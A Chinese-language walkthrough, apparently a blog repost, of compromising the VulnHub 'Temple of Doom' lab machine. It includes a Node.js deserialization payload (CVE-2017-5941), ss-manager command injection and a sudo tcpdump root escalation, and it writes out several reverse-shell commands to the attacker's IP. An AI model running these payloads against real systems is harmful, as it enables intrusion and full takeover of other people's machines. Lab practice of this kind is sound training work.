小白的靶机VulnHub-Temple of Doom

靶机地址:https://www.vulnhub.com/entry/temple-of-doom-1,243/

开机界面就是这

在这里插入图片描述

确定 靶机的ip地址:192.168.0.114

在这里插入图片描述

靶机开放了22端口666端口

22端口 是ssh服务 没账号密码 是进不去的 先放着

666端口 有http服务,有Node.js 去康康呗

直接访问

在这里插入图片描述

正在施工,稍后再来!

直接爆破一下 试试

nikto 和dirb …

没啥有用的信息

这里 666端口 开放了Node.js

进行抓包

在这里插入图片描述

看到了cookie的值是一个base64编码

进行解码

在这里插入图片描述

{
    
    "username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMTIn0%3D

感觉这个json的格式不完善

修改后

{
    
    "username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":"Friday, 13 Oct 2018 00:00:00 GMT"}

重新编码 进行提交

在这里插入图片描述

在这里插入图片描述

活得一个页面重新 扫了扫 依然没结果

这里有一个知识点 Node.js 反序列化漏洞远程执行代码(CVE-2017-5941)

具体 可以看这里

{
    
    "username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(error,stdout,stderr)=>{console.log(stdout)}); }()"}
  • child_process是node.js中的一个模块,它以类似于popen(3)的方式生成子进程。
  • child_process.exec 使用子进程exec执行命令,缓存子进程的输出,并将子进程的输出以回调函数参数的形式返回。

进行base64编码 重新提交cookie

在这里插入图片描述
在这里插入图片描述

获得用户名 nodeadmin

直接使用bash获得反弹shell

{
    
    "username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('bash -i >& /dev/tcp/192.168.0.110/5555 0>&1',(error,stdout,stderr)=>{console.log(stdout)}); }()"}

在这里插入图片描述

开启监听端口 成功拿到低权限的shell

在这里插入图片描述

下面就要进行提权了

测试了几个 提权的脚本 都不行 我淦

/home目录发现 fireman 看看怎么 越权拿到权限

在这里插入图片描述
查看fireman用户的具体信息

在这里插入图片描述

发现此用户启动了ss-manager进程

ss-manager是一款由ss团队开发的多用户管理面板程序

找到ss-manager命令执行漏洞 具体可以参考这里

ss-manager容易受到远程代码执行的影响

ss-manager是Shadowsocks的缩写
Shadowsocks-libev是用于嵌入式的服务和安全SOCKS5作为代理,ss-manager用于控制多个用户的shadowsocks服务器,并在需要时生成新服务器…就是能创建新服务去利用…

在这里插入图片描述
看一下 靶机 有没有 开8839端口

netstat -a | grep 8839

ok 可以看到是开启的

在这里插入图片描述
直接nc 连接呗

nc -u 127.0.0.1 8839
-u  是UDP模式

在这里插入图片描述

配置JSON,执行命令,在tmp创建evil文件

add: {
    
    "server_port":8003, "password":"test", "method":"||touch /tmp/evil||"}

在这里插入图片描述

查看一下 创建成功

使用bash,获得反弹shell

add: {
    
    "server_port":8003, "password":"test", "method":"||bash -i >& /dev/tcp/192.168.0.110/6666 0>&1|"}

成功拿到fireman用户

在这里插入图片描述

在root目录下 但是没有权限

在这里插入图片描述

进行sudo提权

在这里插入图片描述

存在tcpdump,可以用于远程代码执行 具体可以参考这里

具体命令 就是这样了

echo "nc  -e /bin/bash 192.168.56.3 7777 "> shell.sh

chmod +x shell.sh

nc -lvp 7777 (kali中开启监听)

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root
-i : 指定监听的网络接口
-w : 直接将包写入文件中,并不分析和打印出来
-W :与-C选项一起使用时,这会将创建的文件数量限制为指定的数字,并从头开始覆盖文件,从而创建“旋转”缓冲区。另外,它将命名带有足够前导0的文件以支持最大数量的文件,使它们能够正确排序。与-G选项一起使用时,这将限制创建的旋转转储文件的数量,在达到限制时以状态0退出。如果与-C一起使用,则行为将导致每个时间片的循环文件。
-G:如果指定,则每rotate_seconds秒旋转使用-w选项指定的转储文件。保存文件将具有由-w指定的名称,该名称 应包含由strftime(3)定义的时间格式。如果没有指定时间格式,则每个新文件都将覆盖前一个。如果与-C选项一起使用,则文件名将采用“ file <count>”的形式。
-z :-C或-G选项一起使用,这将使tcpdump运行“ 命令文件 ”,其中文件是每次旋转后关闭的保存文件。例如,指定-z gzip或-z bzip2将使用gzip或bzip2压缩每个保存文件。
请注意,tcpdump将与捕获并行地运行命令,使用最低优先级,这样不会干扰捕获过程。
如果你想使用一个本身带有标志或不同参数的命令,你总是可以编写一个shell脚本,将savefile的名字作为唯一的参数,使标志和参数安排并执行你想要的命令。
-Z : 删除权限(如果是root)并将用户标识更改为用户,将组标识更改为主要用户组。这种行为默认是启用的(-Z tcpdump),可以通过-Z root来禁用。

将nc反弹shell写入sh文件,赋执行权限,通过tcpdump执行反弹shell,获得root权限
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
成功拿到root权限了

ok 这台靶机就到这里了

猜你喜欢

转载自blog.csdn.net/wo41ge/article/details/112903997